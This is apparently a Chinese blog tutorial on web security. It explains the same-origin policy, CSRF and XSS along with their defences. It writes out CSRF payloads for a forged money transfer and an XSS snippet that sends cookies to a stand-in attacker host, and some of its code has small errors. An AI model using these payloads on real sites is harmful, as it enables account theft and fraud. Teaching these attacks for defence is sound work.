前言
如今人们的生活已经离不开网络,每天都有大量的信息通过web页面进入每个人的视线,那么web网路安全就显得尤为重要。
正文
web网络安全,主要由三个方面来保障:
- 同源策略
- 预防xss攻击
- 预防csrf攻击
接下来我们一个一个详细讲解。
同源策略
同源策略,作为一个前端工程师,应该是必备知识。大多数人接触到同源策略都是在和后端交互发送Ajax请求,发生跨域时。那你知道什么是同源策略么?实际上同源策略还有其他两个层面,你知道嘛?
什么是同源策略
我们首先了解下一个URL地址的组成部分。
https://juejin.cn/user/1222312662941191?paramse=不知名参数#hash
我们在这个页面看下location里面有些什么
字段名 | 意义 |
---|---|
hash | fragment(信息片断),指定网络资源中的片段,常用于页面锚点,或者spa页面中的hash路由 |
host | 域名或者ip地址 |
protocol | 协议:常见的有http、https、ftp |
port | 端口号:http默认是80端口,https默认是443端口 |
pathname | 由零或多个“/”符号隔开的字符串,一般用来表示主机上的一个目录或文件地址。 |
search | 页面的查询参数 |
了解了URL的参数。那我们就来解释什么是同源
同源:一个URL的协议、域名(多级域名和主域名一致)、端口一致的情况下才属于同源。
那么同源策略就是:两个同源的地址之间是可以相互读写网页数据、相互操作DOM元素、相互发送XMLHttpRequest。
针对上面的描述我们举例说明哪些域名之间是同源的:
baseURL: https://juejin.cn/
URL | 是否同源 | 原因 |
---|---|---|
http://juejin.cn/ | 否 | 协议不同 |
https://juejin.cn/:8000 | 否 | 端口不相同,https默认端口号443 |
https://juejin.com/ | 否 | 域名不同 |
https://juejin1.cn/ | 否 | 域名不同 |
https://hahahaha.juejin.cn/ | 是 | 主域名和多级域名相同 |
同源策略的三个方面:
- DOM层面
- 数据层面
- 网络层面
DOM层面
同源策略限制了不同源的js脚本,不能对页面的DOM结构进行读写操作。 比如:
我们在index.html
有一行HTML代码
<a href="./details.html" target="_blank">
然后在details.html
里加入加入一行JS代码
opener.document.body.style.backgroundColor = 'red'
当我们在index.html
中通过点击a
标签打开details.html
,时会发生什么呢?
没错!当我们打开details.html
后切换到index.html
时我们会发现。index.html
背景色变成了红色。
这就是同源策略中同源的js脚本可以更改页面的DOM结构。但是如果两个html不是同源,就无法实现。
ps: 需要将两个页面放在服务器端哦~直接用http-server -c-1 启动一个服务器。
数据层面
同源策略限制了不同源的js脚本,不能对页面的cookie
,localStorage
,SessionStorage
,IndexDB
进行读写操作。
还是使用上面两个页面举例
我们在index.html
有一行JS代码
localStorage.setItem('first','哈哈哈哈')
然后在details.html
里加入加入一行JS代码
alert(opener.localStorage.getItem('first'))
当我们在index.html
中通过点击a
标签打开details.html
,时会发生什么呢?
没错!当我们打开details.html
时页面会弹出“哈哈哈哈”。
这就是同源策略中同源的js脚本可以读写页面数据。但是如果两个html不是同源,就无法实现。
ps: 需要将两个页面放在服务器端哦~。
网络层面
这个就是我们开发中常常遇到的问题。web端向不同源的服务器发送XMLHttpRequest时会发生跨域。 这里引申出前端如何跨域?
可以看出同源策略可以保护我们浏览的web页面不会被随意篡改,因为只用同源下才可以读写页面资源。 但是这样我们的web网页真的就完成无懈可击了嘛?
CSRF攻击
什么是CSRF攻击呢?
CSRF: 跨站请求伪造。举例说明CSRF大体步骤:
- 小明想看看自己账户里有多少余额,于是通过账号密码登录到
http://zhifubao.com/
的官网,此时官网会记录下小明的登录状态。 - 这时候攻击者给小明发送了一封电子邮件–“点击链接领取5000元现金红包”。小明心动了,点击了邮件中的链接。
- 第三方的网站被打开,网站中有一段代码
<img src="http://zhifubao.com/api/transferMoney?money=1000&to=hacker">
代码中有个请求转账1000元给hacker。
- 由于之前小明已经登录了
http://zhifubao.com/
官网,所以攻击者绕过了登录,让小明转账给自己1000元。小明失去了1000元。 这就是一个简单的CSRF攻击的流程。
通过上面的例子我们可以得出,CSRF攻击主要是 利用用户的登录状态,通过第三方网站,发送请求做一些坏事,再诱惑用户点击进第三方网站。
攻击方式
用户点击进入第三方网站后,主要的攻击方式有三种
自动发送get请求
这种方法就像我们刚刚举的例子第三方网站有个一图片,图片地址是一个get请求,然后钱就没有。
<img src="http://zhifubao.com/api/transferMoney?money=1000&to=hacker">
自动发送post请求
这个方法稍微复杂点,需要有一个表单用来发送post请求。
<form id="getMoney" action="http://zhifubao.com/api/transferMoney" method="POST"><input type="hidden" name="money" value="1000"><input type="hidden" name="to" value="hacker">
</form>
<script> document.getElementById('getMoney').submit() </script>
诱导用户点击链接
这种方法其实和第一种比较类似。
<a href="http://zhifubao.com/api/transferMoney?money=1000&to=hacker" taget="_blank">点击领取5000元现金红包
</a>
了解完整个攻击流程我们可以发现。其实CSRF攻击他是无法获取到用户的信息,他只是借用用户已经在站点登录的状态,发送请求。而且因为只发送请求,无法接受返回数据, 所以这种攻击方式也无法获取到服务器返回数据,只能通过请求修改服务端的数据。
预防CSRF攻击
- 验证Token,每次浏览器发送请求时都需要携带一个后台认可的token。只有携带合法token,服务器才会响应请求。
- 验证referer,通过验证请求头中的referer字段,判断是否是由合法的站点来源请求的。但是这种方式如果浏览器源码被篡改,无法保证referer的正确性。
- 对cookie设置SameSite,该属性设置 Cookie 不随着跨域请求发送,该属性可以很大程度减少 CSRF 的攻击,但是该属性目前并不是所有浏览器都兼容。
XSS攻击
什么是XSS攻击呢?
XSS: 跨站脚本攻击。举例说明XSS大体步骤:
- 一个带评论功能的站点。攻击者在评论区输入,并提交到服务器
><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script>
- 攻击者将自己的网址
http://getMoney.com
设置允许跨域请求 - 评论成功后。被攻击网站将攻击者的评论展现在当前页面,此时被攻击的网站中相关
HTML
可能为
<div><img src="http://touxiang.com"><p>><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script></p>
</div>
- 当其他用户浏览此网页时。因为网页代码中多了一个
script
标签。执行script
脚本,获取当前登录用户的cookie
,发送给攻击者,有了用户的cookie就可以使用其模拟用户登录,然后为所欲为为所欲为为所欲为。
这就是XSS攻击的一种简单方式。
通过上面的例子我们可以得出,攻击主要是 通过向网站注入脚本获取用户信息或操作行为,然后为所欲为。
攻击方式
主要有三种:存储型、反射型和DOM-based
存储型
这种方法就像我们刚刚举的例子。攻击脚本被储存在服务器。每当页面展示,当前用户都会被攻击。
例如在评论区输入可执行脚本。
><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script>
反射型
这种攻击常常将脚本放置在URL中。
- 攻击者将脚本放在URL中,
https://www.zhifubao.com/?name=<script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script>
- 而当前网站服务端将name从URL中取出,拼接在HTML中返回给浏览器
<div>{{name}}</div>
- 页面中会多生成一个script标签,执行script,获取用户信息为所欲为。
<div><script>const cookie = document.cookie;fetch('http://getMoney.com',{cookie:cookie})</script></div>
常见方法,发送邮件中带有恶意链接。诱导用户点击。
DOM-based
和上一种攻击类似,DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
- 攻击者通过将脚本放在URL中
https://www.zhifubao.com/?name=<script>document.body.innerHTML = '哈哈哈哈哈'</script>
- 诱导用户点击带有恶意脚本的URL
- 浏览器解析URL执行脚本,操作DOM元素,完成XSS攻击
预防XSS攻击
- 对用户输入进行检查转义:将
<script>
<iframe>
中的括号进行转义 - 设置httpOnly,防止js获取cookie。
- 开启CSP安全策略
CSP是什么
CSP是一种有效防止XSS攻击的方法。本质上是建立了一个白名单,规定了浏览器只能执行特定来源的代码。 有两种途径设置CSP
- HTML中添加meta标签 指定Content-Security-Policy 规则
- 服务器添加 Content-Security-Policy 响应头来指定规则
HTML中CSP
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://zhifubao.com">
响应头中CSP
在http请求的ResponseHeaders添加
content-security-policy: script-src 'self' htts://zhifubao.com;
到这里我们就把web端网络安全讲解完啦。关于csp的详细情况大家可以自行google,这里就不赘述啦。
![](https://i-blog.csdnimg.cn/blog_migrate/08c3b846393bdaea6409358cbf194580.jpeg)